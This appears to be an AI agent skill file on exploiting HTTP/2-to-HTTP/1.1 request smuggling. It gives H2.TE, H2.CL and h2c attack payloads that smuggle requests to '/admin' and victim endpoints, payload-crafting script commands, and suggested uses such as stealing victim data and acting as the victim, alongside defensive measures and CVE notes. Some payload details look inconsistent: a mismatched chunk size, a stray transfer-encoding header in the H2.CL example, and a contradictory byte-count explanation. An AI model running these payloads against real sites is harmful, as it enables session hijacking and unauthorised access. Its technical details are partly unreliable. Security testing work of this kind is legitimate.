HTTP/2 Request Smuggling Skill
This skill helps you identify and exploit request smuggling vulnerabilities that occur when HTTP/2 front-ends downgrade requests to HTTP/1.x back-ends.
When to Use This Skill
Use this skill when:
- Testing web applications for HTTP/2 request smuggling vulnerabilities
- Investigating proxy misconfigurations between HTTP/2 and HTTP/1.x
- Analyzing CVE-2023-25690, CVE-2023-25950, or CVE-2022-41721
- Needing to craft H2.TE or H2.CL attack payloads
- Checking for HTTP/2 downgrade chains in target infrastructure
- Testing h2c (clear-text HTTP/2) upgrade vulnerabilities
Core Concepts
Why Downgrades Create Vulnerabilities
HTTP/2 is immune to classic request smuggling because DATA frame lengths are explicit. However, when a front-end proxy terminates HTTP/2 and rewrites requests as HTTP/1.1 for legacy back-ends, the translation step creates desync opportunities:
- Front-end trusts HTTP/2 frame length
- Back-end trusts
Content-LengthorTransfer-Encoding: chunked - Attacker forces disagreement between parsers
Two Attack Variants
| Variant | Front-end Length | Back-end Length | Attack Pattern |
|---|---|---|---|
| H2.TE | HTTP/2 frame | Transfer-Encoding: chunked |
Embed extra chunked body; back-end waits for attacker's "next" request |
| H2.CL | HTTP/2 frame | Content-Length |
Send smaller CL than real body; back-end reads into following request |
Identification Workflow
Step 1: Verify HTTP/2 Support
Check if the target edge speaks HTTP/2:
# Using curl
curl -v --http2 https://target
# Look for "* Using HTTP2" in output
# Using openssl
openssl s_client -alpn h2 -connect target:443
# Check for ALPN protocol negotiation
Step 2: Confirm Downgrade Chain
Send a malformed CL/TE request over HTTP/2. If you receive an HTTP/1.1 error like 400 Bad chunk, the edge is converting traffic for an HTTP/1 parser downstream.
Use the check_downgrade.sh script to automate this:
./scripts/check_downgrade.sh https://target
Step 3: Identify Variant
- H2.TE: Back-end trusts
Transfer-Encoding: chunked - H2.CL: Back-end trusts
Content-Length
Exploitation Workflow
H2.TE Attack Pattern
:method: POST
:path: /login
:scheme: https
:authority: example.com
content-length: 13 # ignored by edge
transfer-encoding: chunked
5;ext=1\r\nHELLO\r\n
0\r\n\r\nGET /admin HTTP/1.1\r\nHost: internal\r\nX: X
How it works:
- Front-end reads exactly 13 bytes (
HELLO\r\n0\r\n\r\nGE), thinks request is finished - Back-end trusts TE header, keeps reading until second
0\r\n\r\n - Back-end consumes prefix of attacker's second request (
GET /admin ...) - Remainder is treated as new request queued behind victim's
H2.CL Attack Pattern
:method: POST
:path: /login
:scheme: https
:authority: example.com
content-length: 5 # smaller than real body
transfer-encoding: chunked
10\r\n
HELLO WORLD\r\n
0\r\n\r\nGET /admin HTTP/1.1\r\nHost: internal\r\nX: X
How it works:
- Front-end reads HTTP/2 frame length
- Back-end reads only 5 bytes per CL header
- Back-end reads past boundary into following request
- Smuggled request executes in victim's context
Crafting Payloads
Use the craft_payload.sh script to generate attack payloads:
# H2.TE payload
./scripts/craft_payload.sh h2-te "GET /admin HTTP/1.1\r\nHost: target\r\n\r\n"
# H2.CL payload
./scripts/craft_payload.sh h2-cl "POST /api/logout HTTP/1.1\r\nHost: target\r\n\r\n"
Common Smuggled Requests
Replace the smuggled request with:
POST /api/logout- Force session fixationGET /users/1234- Steal victim-specific resourcesGET /admin- Access restricted areasPOST /api/action- Execute actions as victim
h2c Smuggling (Clear-Text Upgrades)
A 2023 discovery showed that if a front-end passes Upgrade: h2c to a back-end supporting clear-text HTTP/2, attackers can tunnel raw HTTP/2 frames through edges that only validated HTTP/1.1.
Requirements:
- Edge forwards both
Connection: UpgradeandUpgrade: h2cunchanged - Origin upgrades to HTTP/2 and keeps connection-reuse semantics
Test with:
python3 h2csmuggler.py -u https://target -x 'GET /admin HTTP/1.1\r\nHost: target\r\n\r\n'
Mitigation: Strip or hard-code the Upgrade header at the edge except for WebSockets.
Tooling
Burp Request Smuggler
Since v1.26, automatically tests H2.TE/H2.CL and hidden ALPN support. Enable "HTTP/2 probing" in extension options.
Manual Testing
# Using curl with HTTP/2
curl --http2-prior-knowledge -X POST --data-binary @payload.raw https://target
# Using hyper (Rust HTTP client)
hyper --http2 -X POST -d @payload.raw https://target
Defensive Measures
- End-to-end HTTP/2 - Eliminate downgrade translation completely
- Single source of length truth - When downgrading, always generate valid
Content-Lengthand strip user-suppliedContent-Length/Transfer-Encodingheaders - Normalize before route - Apply header sanitization before routing/rewrite logic
- Connection isolation - Do not reuse back-end TCP connections across users; "one request per connection" defeats queue-based exploits
- Strip
Upgradeunless WebSocket - Prevents h2c tunneling
Notable CVEs
- CVE-2023-25690 - Apache HTTP Server mod_proxy rewrite rules could be chained for request splitting and smuggling (fixed in 2.4.56)
- CVE-2023-25950 - HAProxy 2.7/2.6 request/response smuggling when HTX parser mishandled pipelined requests
- CVE-2022-41721 - Go
MaxBytesHandlercaused left-over body bytes to be parsed as HTTP/2 frames, enabling cross-protocol smuggling
References
- PortSwigger Research - "HTTP/2: The Sequel is Always Worse" - https://portswigger.net/research/http2
- Bishop Fox - "h2c Smuggling: request smuggling via HTTP/2 clear-text" - https://bishopfox.com/blog/h2c-smuggling-request